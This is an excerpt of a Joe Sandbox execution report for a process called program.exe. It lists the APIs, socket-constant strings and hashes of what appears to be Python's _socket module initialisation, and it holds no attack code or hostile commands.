Instruction ID: de437b14411f05c41366f98addbcf7da6c64e9c8c915a142f4c2d4a1453642d3
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: EF01842191864385F722BF60986227EB7A1FFA8768FD01839D54D42685DF3CD5098F74

Analysis Process: program.exePID: 2360, Parent PID: 4464COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.7%
Total number of Nodes:	1064
Total number of Limit Nodes:	99

Executed Functions

Function 00007FFBAA491091 Relevance: 349.5, APIs: 6, Strings: 193, Instructions: 1276networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFBAA4910F4
00007FFBAA6A082C.PYTHON313 ref: 00007FFBAA491109
VerSetConditionMask.NTDLL ref: 00007FFBAA4927C2
VerSetConditionMask.NTDLL ref: 00007FFBAA4927D3
VerSetConditionMask.NTDLL ref: 00007FFBAA4927E4
VerifyVersionInfoA.KERNEL32 ref: 00007FFBAA49280A

Strings

IPV6_HOPLIMIT, xrefs: 00007FFBAA492209
EAI_MEMORY, xrefs: 00007FFBAA492407
SO_EXCLUSIVEADDRUSE, xrefs: 00007FFBAA4916F0
SOL_TCP, xrefs: 00007FFBAA491A1A
IP_OPTIONS, xrefs: 00007FFBAA491F1B
AF_INET, xrefs: 00007FFBAA491328
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FFBAA4926C4
HV_GUID_ZERO, xrefs: 00007FFBAA4914D0
TCP_MAXSEG, xrefs: 00007FFBAA4922F9
NI_DGRAM, xrefs: 00007FFBAA492623
EAI_SERVICE, xrefs: 00007FFBAA492461
TCP_FASTOPEN, xrefs: 00007FFBAA492371
IPV6_V6ONLY, xrefs: 00007FFBAA4921AF
IPV6_TCLASS, xrefs: 00007FFBAA4922BD
SOCK_SEQPACKET, xrefs: 00007FFBAA49165A
INADDR_ALLHOSTS_GROUP, xrefs: 00007FFBAA491EC1
HV_GUID_CHILDREN, xrefs: 00007FFBAA49152D
IP_HDRINCL, xrefs: 00007FFBAA491F39
NI_MAXHOST, xrefs: 00007FFBAA49256F
SHUT_RDWR, xrefs: 00007FFBAA49267A
AI_PASSIVE, xrefs: 00007FFBAA49249D
IPPROTO_IDP, xrefs: 00007FFBAA491B9A
00000000-0000-0000-0000-000000000000, xrefs: 00007FFBAA4914C6, 00007FFBAA4914E5
IPPROTO_ND, xrefs: 00007FFBAA491BB8
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FFBAA4920DD
MSG_DONTROUTE, xrefs: 00007FFBAA49190C
SocketType, xrefs: 00007FFBAA491207
IPPROTO_MAX, xrefs: 00007FFBAA491D02
IPPROTO_IPV6, xrefs: 00007FFBAA491B04
_socket.CAPI, xrefs: 00007FFBAA4912B4
SO_ACCEPTCONN, xrefs: 00007FFBAA4916B4
NI_MAXSERV, xrefs: 00007FFBAA49258D
IPV6_MULTICAST_HOPS, xrefs: 00007FFBAA492137
EAI_AGAIN, xrefs: 00007FFBAA49238F
SO_DONTROUTE, xrefs: 00007FFBAA49172C
IP_MULTICAST_LOOP, xrefs: 00007FFBAA49200B
INADDR_BROADCAST, xrefs: 00007FFBAA491E67
SO_SNDBUF, xrefs: 00007FFBAA4917C2
timeout, xrefs: 00007FFBAA4911C8
IPPROTO_IGP, xrefs: 00007FFBAA491D7A
SOL_IP, xrefs: 00007FFBAA4919FC
IPPROTO_ROUTING, xrefs: 00007FFBAA491BD6
SOCK_RDM, xrefs: 00007FFBAA491678
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FFBAA4920BF
AI_NUMERICSERV, xrefs: 00007FFBAA4924F7
SO_OOBINLINE, xrefs: 00007FFBAA4917A4
IP_BLOCK_SOURCE, xrefs: 00007FFBAA4920A1
IPV6_PKTINFO, xrefs: 00007FFBAA492245
EAI_FAMILY, xrefs: 00007FFBAA4923E9
SO_SNDLOWAT, xrefs: 00007FFBAA4917FE
HV_PROTOCOL_RAW, xrefs: 00007FFBAA491436
IPPROTO_DSTOPTS, xrefs: 00007FFBAA491C8A
SO_RCVBUF, xrefs: 00007FFBAA4917E0
MSG_CTRUNC, xrefs: 00007FFBAA491948
IPPROTO_CBT, xrefs: 00007FFBAA491D5C
SO_BROADCAST, xrefs: 00007FFBAA49174A
IPPROTO_RDP, xrefs: 00007FFBAA491D98
HV_GUID_LOOPBACK, xrefs: 00007FFBAA49154C
AI_ALL, xrefs: 00007FFBAA492515
socket.herror, xrefs: 00007FFBAA491113
gaierror, xrefs: 00007FFBAA491187
TCP_NODELAY, xrefs: 00007FFBAA4922DB
SHUT_WR, xrefs: 00007FFBAA49265C
SO_RCVTIMEO, xrefs: 00007FFBAA491858
IP_RECVTOS, xrefs: 00007FFBAA491F93
IPPROTO_UDP, xrefs: 00007FFBAA491B7C
IPPROTO_HOPOPTS, xrefs: 00007FFBAA491A6E
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FFBAA491523
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FFBAA491504
CAPI, xrefs: 00007FFBAA4912EF
IP_PKTINFO, xrefs: 00007FFBAA492065
IPPROTO_TCP, xrefs: 00007FFBAA491B22
IPV6_CHECKSUM, xrefs: 00007FFBAA4921CD
AI_V4MAPPED, xrefs: 00007FFBAA492551
IPV6_RECVTCLASS, xrefs: 00007FFBAA492281
MSG_BCAST, xrefs: 00007FFBAA4919A2
SOL_SOCKET, xrefs: 00007FFBAA4919DE
IPPROTO_ESP, xrefs: 00007FFBAA491C12
SOCK_RAW, xrefs: 00007FFBAA49163C
NI_NAMEREQD, xrefs: 00007FFBAA4925E7
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FFBAA491EDF
SOL_UDP, xrefs: 00007FFBAA491A38
TCP_KEEPINTVL, xrefs: 00007FFBAA492335
IPPROTO_ICLFXBM, xrefs: 00007FFBAA491D20
SO_RCVLOWAT, xrefs: 00007FFBAA49181C
IPPROTO_IGMP, xrefs: 00007FFBAA491AAA
AI_NUMERICHOST, xrefs: 00007FFBAA4924D9
error, xrefs: 00007FFBAA4911A6
TCP_KEEPIDLE, xrefs: 00007FFBAA492317
NI_NUMERICHOST, xrefs: 00007FFBAA4925C9
IP_ADD_MEMBERSHIP, xrefs: 00007FFBAA492029
WSAStartup failed: network not ready, xrefs: 00007FFBAA4939D8
EAI_SOCKTYPE, xrefs: 00007FFBAA49247F
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FFBAA491490
IPV6_MULTICAST_IF, xrefs: 00007FFBAA492155
socket.gaierror, xrefs: 00007FFBAA491164
IPV6_UNICAST_HOPS, xrefs: 00007FFBAA492191
SO_KEEPALIVE, xrefs: 00007FFBAA49170E
IP_TOS, xrefs: 00007FFBAA491F57
AF_INET6, xrefs: 00007FFBAA491382
EAI_FAIL, xrefs: 00007FFBAA4923CB
BDADDR_ANY, xrefs: 00007FFBAA4915C6
IPPROTO_ICMP, xrefs: 00007FFBAA491A8C
herror, xrefs: 00007FFBAA491145
MSG_OOB, xrefs: 00007FFBAA4918D0
MSG_ERRQUEUE, xrefs: 00007FFBAA491984
INADDR_ANY, xrefs: 00007FFBAA491E49
IPPROTO_EGP, xrefs: 00007FFBAA491B40
SOCK_DGRAM, xrefs: 00007FFBAA49161E
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FFBAA4914AE
IPPROTO_AH, xrefs: 00007FFBAA491C30
INADDR_LOOPBACK, xrefs: 00007FFBAA491E85
00:00:00:FF:FF:FF, xrefs: 00007FFBAA4915DB
EAI_NODATA, xrefs: 00007FFBAA492425
SO_DEBUG, xrefs: 00007FFBAA491696
AF_DECnet, xrefs: 00007FFBAA4913A0
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FFBAA491542
SHUT_RD, xrefs: 00007FFBAA49263E
IPPROTO_FRAGMENT, xrefs: 00007FFBAA491BF4
INADDR_NONE, xrefs: 00007FFBAA491EFD
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FFBAA491454
SIO_KEEPALIVE_VALS, xrefs: 00007FFBAA4926AB
SOMAXCONN, xrefs: 00007FFBAA4918B2
BTPROTO_RFCOMM, xrefs: 00007FFBAA4915A4
IPPROTO_NONE, xrefs: 00007FFBAA491C6C
IPV6_RTHDR, xrefs: 00007FFBAA49229F
IPPROTO_ICMPV6, xrefs: 00007FFBAA491C4E
AF_LINK, xrefs: 00007FFBAA4913BE
BDADDR_LOCAL, xrefs: 00007FFBAA4915E5
AI_ADDRCONFIG, xrefs: 00007FFBAA492533
IPPROTO_PUP, xrefs: 00007FFBAA491B5E
HV_GUID_PARENT, xrefs: 00007FFBAA49156B
SO_REUSEADDR, xrefs: 00007FFBAA4916D2
SIO_RCVALL, xrefs: 00007FFBAA492692
IPPORT_RESERVED, xrefs: 00007FFBAA491E10
MSG_MCAST, xrefs: 00007FFBAA4919C0
SO_SNDTIMEO, xrefs: 00007FFBAA49183A
IPPORT_USERRESERVED, xrefs: 00007FFBAA491E2E
RCVALL_MAX, xrefs: 00007FFBAA492768
IP_TTL, xrefs: 00007FFBAA491F75
MSG_TRUNC, xrefs: 00007FFBAA49192A
SO_ERROR, xrefs: 00007FFBAA491876
AF_SNA, xrefs: 00007FFBAA4913DC
AF_IPX, xrefs: 00007FFBAA491346
RCVALL_ON, xrefs: 00007FFBAA49272C
AF_HYPERV, xrefs: 00007FFBAA491418
IPV6_HOPOPTS, xrefs: 00007FFBAA492227
IPV6_DONTFRAG, xrefs: 00007FFBAA4921EB
IP_UNBLOCK_SOURCE, xrefs: 00007FFBAA492083
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FFBAA491561
00:00:00:00:00:00, xrefs: 00007FFBAA4915BC
IPV6_RECVRTHDR, xrefs: 00007FFBAA492263
IPPROTO_SCTP, xrefs: 00007FFBAA491CC6, 00007FFBAA491DF2
AF_UNSPEC, xrefs: 00007FFBAA49130A
IPPROTO_RAW, xrefs: 00007FFBAA491CE4
RCVALL_SOCKETLEVELONLY, xrefs: 00007FFBAA49274A
RCVALL_OFF, xrefs: 00007FFBAA49270E
SO_TYPE, xrefs: 00007FFBAA491894
EAI_NONAME, xrefs: 00007FFBAA492443
IP_MULTICAST_TTL, xrefs: 00007FFBAA491FED
AF_APPLETALK, xrefs: 00007FFBAA491364
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FFBAA491472
IPV6_JOIN_GROUP, xrefs: 00007FFBAA4920FB
IP_DROP_MEMBERSHIP, xrefs: 00007FFBAA492047
AF_IRDA, xrefs: 00007FFBAA4913FA
SOCK_STREAM, xrefs: 00007FFBAA491600
IPPROTO_PGM, xrefs: 00007FFBAA491DB6
TCP_KEEPCNT, xrefs: 00007FFBAA492353
IPPROTO_L2TP, xrefs: 00007FFBAA491DD4
IPPROTO_PIM, xrefs: 00007FFBAA491CA8
SO_LINGER, xrefs: 00007FFBAA491786
EAI_BADFLAGS, xrefs: 00007FFBAA4923AD
has_ipv6, xrefs: 00007FFBAA49123A
MSG_WAITALL, xrefs: 00007FFBAA491966
IP_MULTICAST_IF, xrefs: 00007FFBAA491FCF
AI_CANONNAME, xrefs: 00007FFBAA4924BB
HV_GUID_BROADCAST, xrefs: 00007FFBAA49150E
MSG_PEEK, xrefs: 00007FFBAA4918EE
IPPROTO_IPV4, xrefs: 00007FFBAA491AE6
NI_NUMERICSERV, xrefs: 00007FFBAA492605
IP_RECVDSTADDR, xrefs: 00007FFBAA491FB1
IPPROTO_ST, xrefs: 00007FFBAA491D3E
AF_BLUETOOTH, xrefs: 00007FFBAA491586
IPPROTO_IP, xrefs: 00007FFBAA491A53
INADDR_UNSPEC_GROUP, xrefs: 00007FFBAA491EA3
IPPROTO_GGP, xrefs: 00007FFBAA491AC8
HV_GUID_WILDCARD, xrefs: 00007FFBAA4914EF
NI_NOFQDN, xrefs: 00007FFBAA4925AB
IPV6_MULTICAST_LOOP, xrefs: 00007FFBAA492173
IPV6_LEAVE_GROUP, xrefs: 00007FFBAA492119
WSAStartup failed: error code %d, xrefs: 00007FFBAA4939BF
WSAStartup failed: requested version not supported, xrefs: 00007FFBAA4939E1
SO_USELOOPBACK, xrefs: 00007FFBAA491768

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ConditionMask$00007A082InfoStartupVerifyVersion
String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 3409425757-1188461360
Opcode ID: 4dce1cfbc17b3c99d7e4a2bf2870c05e4680d8e1b4ef0cfb511a93ced94c5d55
Instruction ID: 13a80daa33a126a4a18bef59b45fe4f6377ff81a0f080e7532bd6014b26a58b3
Opcode Fuzzy Hash: 4dce1cfbc17b3c99d7e4a2bf2870c05e4680d8e1b4ef0cfb511a93ced94c5d55
Instruction Fuzzy Hash: 7FD202A0B0A713C1F6128F36E8C06AD175C9F46F94F8415B9ED0E46261DF6EE26BC361

Function 00007FFBAA4910C0 Relevance: 344.2, APIs: 6, Strings: 190, Instructions: 1239networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFBAA4910F4
00007FFBAA6A082C.PYTHON313 ref: 00007FFBAA491109
VerSetConditionMask.NTDLL ref: 00007FFBAA4927C2
VerSetConditionMask.NTDLL ref: 00007FFBAA4927D3
VerSetConditionMask.NTDLL ref: 00007FFBAA4927E4
VerifyVersionInfoA.KERNEL32 ref: 00007FFBAA49280A

Strings

IPV6_HOPLIMIT, xrefs: 00007FFBAA492209
IPV6_MULTICAST_IF, xrefs: 00007FFBAA492155
socket.gaierror, xrefs: 00007FFBAA491164
EAI_MEMORY, xrefs: 00007FFBAA492407
SO_EXCLUSIVEADDRUSE, xrefs: 00007FFBAA4916F0
SOL_TCP, xrefs: 00007FFBAA491A1A
IPV6_UNICAST_HOPS, xrefs: 00007FFBAA492191
IP_OPTIONS, xrefs: 00007FFBAA491F1B
AF_INET, xrefs: 00007FFBAA491328
SO_KEEPALIVE, xrefs: 00007FFBAA49170E
IP_TOS, xrefs: 00007FFBAA491F57
AF_INET6, xrefs: 00007FFBAA491382
EAI_FAIL, xrefs: 00007FFBAA4923CB
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FFBAA4926C4
BDADDR_ANY, xrefs: 00007FFBAA4915C6
HV_GUID_ZERO, xrefs: 00007FFBAA4914D0
IPPROTO_ICMP, xrefs: 00007FFBAA491A8C
herror, xrefs: 00007FFBAA491145
TCP_MAXSEG, xrefs: 00007FFBAA4922F9
MSG_OOB, xrefs: 00007FFBAA4918D0
NI_DGRAM, xrefs: 00007FFBAA492623
MSG_ERRQUEUE, xrefs: 00007FFBAA491984
EAI_SERVICE, xrefs: 00007FFBAA492461
TCP_FASTOPEN, xrefs: 00007FFBAA492371
INADDR_ANY, xrefs: 00007FFBAA491E49
IPV6_V6ONLY, xrefs: 00007FFBAA4921AF
IPV6_TCLASS, xrefs: 00007FFBAA4922BD
IPPROTO_EGP, xrefs: 00007FFBAA491B40
SOCK_SEQPACKET, xrefs: 00007FFBAA49165A
INADDR_ALLHOSTS_GROUP, xrefs: 00007FFBAA491EC1
HV_GUID_CHILDREN, xrefs: 00007FFBAA49152D
IP_HDRINCL, xrefs: 00007FFBAA491F39
SOCK_DGRAM, xrefs: 00007FFBAA49161E
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FFBAA4914AE
NI_MAXHOST, xrefs: 00007FFBAA49256F
IPPROTO_AH, xrefs: 00007FFBAA491C30
SHUT_RDWR, xrefs: 00007FFBAA49267A
INADDR_LOOPBACK, xrefs: 00007FFBAA491E85
AI_PASSIVE, xrefs: 00007FFBAA49249D
00:00:00:FF:FF:FF, xrefs: 00007FFBAA4915DB
EAI_NODATA, xrefs: 00007FFBAA492425
SO_DEBUG, xrefs: 00007FFBAA491696
IPPROTO_IDP, xrefs: 00007FFBAA491B9A
AF_DECnet, xrefs: 00007FFBAA4913A0
00000000-0000-0000-0000-000000000000, xrefs: 00007FFBAA4914C6, 00007FFBAA4914E5
IPPROTO_ND, xrefs: 00007FFBAA491BB8
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FFBAA491542
SHUT_RD, xrefs: 00007FFBAA49263E
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FFBAA4920DD
IPPROTO_FRAGMENT, xrefs: 00007FFBAA491BF4
MSG_DONTROUTE, xrefs: 00007FFBAA49190C
INADDR_NONE, xrefs: 00007FFBAA491EFD
SocketType, xrefs: 00007FFBAA491207
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FFBAA491454
SIO_KEEPALIVE_VALS, xrefs: 00007FFBAA4926AB
SOMAXCONN, xrefs: 00007FFBAA4918B2
IPPROTO_MAX, xrefs: 00007FFBAA491D02
IPPROTO_IPV6, xrefs: 00007FFBAA491B04
BTPROTO_RFCOMM, xrefs: 00007FFBAA4915A4
IPPROTO_NONE, xrefs: 00007FFBAA491C6C
_socket.CAPI, xrefs: 00007FFBAA4912B4
IPV6_RTHDR, xrefs: 00007FFBAA49229F
IPPROTO_ICMPV6, xrefs: 00007FFBAA491C4E
SO_ACCEPTCONN, xrefs: 00007FFBAA4916B4
NI_MAXSERV, xrefs: 00007FFBAA49258D
AF_LINK, xrefs: 00007FFBAA4913BE
BDADDR_LOCAL, xrefs: 00007FFBAA4915E5
AI_ADDRCONFIG, xrefs: 00007FFBAA492533
IPPROTO_PUP, xrefs: 00007FFBAA491B5E
HV_GUID_PARENT, xrefs: 00007FFBAA49156B
SO_REUSEADDR, xrefs: 00007FFBAA4916D2
IPV6_MULTICAST_HOPS, xrefs: 00007FFBAA492137
EAI_AGAIN, xrefs: 00007FFBAA49238F
SIO_RCVALL, xrefs: 00007FFBAA492692
IPPORT_RESERVED, xrefs: 00007FFBAA491E10
SO_DONTROUTE, xrefs: 00007FFBAA49172C
MSG_MCAST, xrefs: 00007FFBAA4919C0
SO_SNDTIMEO, xrefs: 00007FFBAA49183A
IPPORT_USERRESERVED, xrefs: 00007FFBAA491E2E
IP_MULTICAST_LOOP, xrefs: 00007FFBAA49200B
INADDR_BROADCAST, xrefs: 00007FFBAA491E67
SO_SNDBUF, xrefs: 00007FFBAA4917C2
RCVALL_MAX, xrefs: 00007FFBAA492768
timeout, xrefs: 00007FFBAA4911C8
IP_TTL, xrefs: 00007FFBAA491F75
IPPROTO_IGP, xrefs: 00007FFBAA491D7A
MSG_TRUNC, xrefs: 00007FFBAA49192A
SO_ERROR, xrefs: 00007FFBAA491876
AF_SNA, xrefs: 00007FFBAA4913DC
SOL_IP, xrefs: 00007FFBAA4919FC
AF_IPX, xrefs: 00007FFBAA491346
RCVALL_ON, xrefs: 00007FFBAA49272C
IPPROTO_ROUTING, xrefs: 00007FFBAA491BD6
SOCK_RDM, xrefs: 00007FFBAA491678
AF_HYPERV, xrefs: 00007FFBAA491418
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FFBAA4920BF
IPV6_HOPOPTS, xrefs: 00007FFBAA492227
AI_NUMERICSERV, xrefs: 00007FFBAA4924F7
IPV6_DONTFRAG, xrefs: 00007FFBAA4921EB
SO_OOBINLINE, xrefs: 00007FFBAA4917A4
IP_UNBLOCK_SOURCE, xrefs: 00007FFBAA492083
IP_BLOCK_SOURCE, xrefs: 00007FFBAA4920A1
IPV6_PKTINFO, xrefs: 00007FFBAA492245
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FFBAA491561
00:00:00:00:00:00, xrefs: 00007FFBAA4915BC
IPV6_RECVRTHDR, xrefs: 00007FFBAA492263
IPPROTO_SCTP, xrefs: 00007FFBAA491CC6, 00007FFBAA491DF2
AF_UNSPEC, xrefs: 00007FFBAA49130A
EAI_FAMILY, xrefs: 00007FFBAA4923E9
IPPROTO_RAW, xrefs: 00007FFBAA491CE4
SO_SNDLOWAT, xrefs: 00007FFBAA4917FE
RCVALL_SOCKETLEVELONLY, xrefs: 00007FFBAA49274A
HV_PROTOCOL_RAW, xrefs: 00007FFBAA491436
RCVALL_OFF, xrefs: 00007FFBAA49270E
IPPROTO_DSTOPTS, xrefs: 00007FFBAA491C8A
SO_TYPE, xrefs: 00007FFBAA491894
SO_RCVBUF, xrefs: 00007FFBAA4917E0
EAI_NONAME, xrefs: 00007FFBAA492443
IP_MULTICAST_TTL, xrefs: 00007FFBAA491FED
AF_APPLETALK, xrefs: 00007FFBAA491364
MSG_CTRUNC, xrefs: 00007FFBAA491948
IPPROTO_CBT, xrefs: 00007FFBAA491D5C
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FFBAA491472
SO_BROADCAST, xrefs: 00007FFBAA49174A
IPV6_JOIN_GROUP, xrefs: 00007FFBAA4920FB
IP_DROP_MEMBERSHIP, xrefs: 00007FFBAA492047
AF_IRDA, xrefs: 00007FFBAA4913FA
IPPROTO_RDP, xrefs: 00007FFBAA491D98
HV_GUID_LOOPBACK, xrefs: 00007FFBAA49154C
SOCK_STREAM, xrefs: 00007FFBAA491600
IPPROTO_PGM, xrefs: 00007FFBAA491DB6
TCP_KEEPCNT, xrefs: 00007FFBAA492353
AI_ALL, xrefs: 00007FFBAA492515
socket.herror, xrefs: 00007FFBAA491113
gaierror, xrefs: 00007FFBAA491187
IPPROTO_L2TP, xrefs: 00007FFBAA491DD4
IPPROTO_PIM, xrefs: 00007FFBAA491CA8
SO_LINGER, xrefs: 00007FFBAA491786
TCP_NODELAY, xrefs: 00007FFBAA4922DB
EAI_BADFLAGS, xrefs: 00007FFBAA4923AD
has_ipv6, xrefs: 00007FFBAA49123A
SHUT_WR, xrefs: 00007FFBAA49265C
SO_RCVTIMEO, xrefs: 00007FFBAA491858
MSG_WAITALL, xrefs: 00007FFBAA491966
IP_RECVTOS, xrefs: 00007FFBAA491F93
IPPROTO_UDP, xrefs: 00007FFBAA491B7C
IPPROTO_HOPOPTS, xrefs: 00007FFBAA491A6E
IP_MULTICAST_IF, xrefs: 00007FFBAA491FCF
AI_CANONNAME, xrefs: 00007FFBAA4924BB
HV_GUID_BROADCAST, xrefs: 00007FFBAA49150E
MSG_PEEK, xrefs: 00007FFBAA4918EE
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FFBAA491523
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FFBAA491504
CAPI, xrefs: 00007FFBAA4912EF
IP_PKTINFO, xrefs: 00007FFBAA492065
IPPROTO_IPV4, xrefs: 00007FFBAA491AE6
IPPROTO_TCP, xrefs: 00007FFBAA491B22
NI_NUMERICSERV, xrefs: 00007FFBAA492605
IPV6_CHECKSUM, xrefs: 00007FFBAA4921CD
AI_V4MAPPED, xrefs: 00007FFBAA492551
IP_RECVDSTADDR, xrefs: 00007FFBAA491FB1
IPPROTO_ST, xrefs: 00007FFBAA491D3E
IPV6_RECVTCLASS, xrefs: 00007FFBAA492281
MSG_BCAST, xrefs: 00007FFBAA4919A2
SOL_SOCKET, xrefs: 00007FFBAA4919DE
AF_BLUETOOTH, xrefs: 00007FFBAA491586
IPPROTO_ESP, xrefs: 00007FFBAA491C12
IPPROTO_IP, xrefs: 00007FFBAA491A53
SOCK_RAW, xrefs: 00007FFBAA49163C
NI_NAMEREQD, xrefs: 00007FFBAA4925E7
INADDR_UNSPEC_GROUP, xrefs: 00007FFBAA491EA3
IPPROTO_GGP, xrefs: 00007FFBAA491AC8
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FFBAA491EDF
SOL_UDP, xrefs: 00007FFBAA491A38
TCP_KEEPINTVL, xrefs: 00007FFBAA492335
IPPROTO_ICLFXBM, xrefs: 00007FFBAA491D20
SO_RCVLOWAT, xrefs: 00007FFBAA49181C
IPPROTO_IGMP, xrefs: 00007FFBAA491AAA
AI_NUMERICHOST, xrefs: 00007FFBAA4924D9
error, xrefs: 00007FFBAA4911A6
HV_GUID_WILDCARD, xrefs: 00007FFBAA4914EF
NI_NOFQDN, xrefs: 00007FFBAA4925AB
IPV6_MULTICAST_LOOP, xrefs: 00007FFBAA492173
IPV6_LEAVE_GROUP, xrefs: 00007FFBAA492119
TCP_KEEPIDLE, xrefs: 00007FFBAA492317
